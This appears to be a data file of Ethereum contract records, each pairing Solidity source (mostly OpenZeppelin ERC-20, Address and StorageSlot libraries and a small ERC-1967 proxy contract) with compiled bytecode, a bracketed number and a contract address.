contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b506004361061011b5760003560e01c8063718da7ee116100b2578063d85349f711610081578063f2fde38b11610066578063f2fde38b14610223578063f7260d3e14610256578063fc0c546a1461025e5761011b565b8063d85349f714610213578063e834a8341461021b5761011b565b8063718da7ee146101745780638da5cb5b146101a7578063af38d757146101d8578063cbf0b0c0146101e05761011b565b80634a4e5776116100ee5780634a4e5776146101525780634e71d92d1461015a5780635d1fbf5414610164578063715018a61461016c5761011b565b80631989488b146101205780631f2698ab1461013a578063460ad4391461014257806348a0d7541461014a575b600080fd5b610128610266565b60408051918252519081900360200190f35b61012861028a565b6101286102ae565b6101286102d2565b6101286102ee565b610162610312565b005b6101286103f9565b61016261041d565b6101626004803603602081101561018a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610534565b6101af6106fa565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610128610716565b610162600480360360208110156101f657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661087b565b610128610aa1565b610128610ac5565b6101626004803603602081101561023957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610acb565b6101af610c6c565b6101af610c88565b7f00000000000000000000000000000000000000000000000000000000000e35b281565b7f000000000000000000000000000000000000000000000000000000005fe5dda081565b7f00000000000000000000000000000000000000000000000000000000000e35b281565b60006102e86002546102e2610716565b90610cac565b90505b90565b7f0000000000000000000000000000000000000000000000000000000000f099c081565b60015473ffffffffffffffffffffffffffffffffffffffff16331461039857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f6163636573732064656e69656400000000000000000000000000000000000000604482015290519081900360640190fd5b60006103a26102d2565b6002549091506103b29082610d28565b6002556103f673ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c302163383610da3565b50565b7f000000000000000000000000000000000000000000000000000000000000000381565b610425610e35565b73ffffffffffffffffffffffffffffffffffffffff166104436106fa565b73ffffffffffffffffffffffffffffffffffffffff16146104c557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b61053c610e35565b73ffffffffffffffffffffffffffffffffffffffff1661055a6106fa565b73ffffffffffffffffffffffffffffffffffffffff16146105dc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661065e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5265636569766572206973207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b6001546040805173ffffffffffffffffffffffffffffffffffffffff9283168152918316602083015280517fd36aafedb017e43b79d3cf6aa1987d3fbb9fff33e1738c71dbf6b2abaadbded09281900390910190a1600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60006107627f000000000000000000000000000000000000000000000000000000005fe5dda07f0000000000000000000000000000000000000000000000000000000001e13380610d28565b421015610771575060006102eb565b60006107c76107c07f000000000000000000000000000000000000000000000000000000005fe5dda07f0000000000000000000000000000000000000000000000000000000001e13380610d28565b4290610cac565b9050600061081e7f0000000000000000000000000000000000000000000000000000000000000003610819847f0000000000000000000000000000000000000000000000000000000000f099c0610e39565b610eba565b905061087461084d827f00000000000000000000000000000000000000000000000000000000000e35b2610ed0565b7f00000000000000000000000000000000000000000000000000000000000e35b290610d28565b9250505090565b610883610e35565b73ffffffffffffffffffffffffffffffffffffffff166108a16106fa565b73ffffffffffffffffffffffffffffffffffffffff161461092357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166109a557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b60007f000000000000000000000000111111111117dc0aa78b770fa6a738034120c30273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a2e57600080fd5b505afa158015610a42573d6000803e3d6000fd5b505050506040513d6020811015610a5857600080fd5b50519050610a9d73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c302168383610da3565b5050565b7f0000000000000000000000000000000000000000000000000000000001e1338081565b60025481565b610ad3610e35565b73ffffffffffffffffffffffffffffffffffffffff16610af16106fa565b73ffffffffffffffffffffffffffffffffffffffff1614610b7357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116610bdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112b26026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c30281565b600082821115610d1d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b600082820183811015610d9c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610e30908490610f43565b505050565b3390565b6000808211610ea957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610eb257fe5b049392505050565b6000818310610ec95781610d9c565b5090919050565b600082610edf57506000610d22565b82820282848281610eec57fe5b0414610d9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112fe6021913960400191505060405180910390fd5b6060610fa5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661101b9092919063ffffffff16565b805190915015610e3057808060200190516020811015610fc457600080fd5b5051610e30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061131f602a913960400191505060405180910390fd5b606061102a8484600085611032565b949350505050565b60608247101561108d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112d86026913960400191505060405180910390fd5b611096856111ed565b61110157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061116b57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0909201916020918201910161112e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146111cd576040519150601f19603f3d011682016040523d82523d6000602084013e6111d2565b606091505b50915091506111e28282866111f3565b979650505050505050565b3b151590565b60608315611202575081610d9c565b8251156112125782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561127657818101518382015260200161125e565b50505050905090810190601f1680156112a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220a40f644020bfc8dc61861fb194eb52b9e383b08f073f105dfc95c595e6b0531864736f6c634300060c0033
[ 38 ]
0xf24D21CD9298107ccc9527f32D71e6281548Ab32
/** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x73f24d21cd9298107ccc9527f32d71e6281548ab3230146080604052600080fdfea2646970667358221220495a8b1ff35dd5a57881a2edd33f5dce94044d8b494aba19dc5b8eb23838cbbe64736f6c634300080c0033
[ 38 ]
0xf24e7cb935c6ff999eee46189a0f27c1d8ca9c91
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract KOPOKO{ //KOPOKO bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205dc499cbe876d16e1cfbdc87e463442e03dc29651abbcecda4c8f88ebd6077ba64736f6c63430008070033
[ 5 ]
0xf24e9adc1548c3c6e5ece209a97218d707665fd1
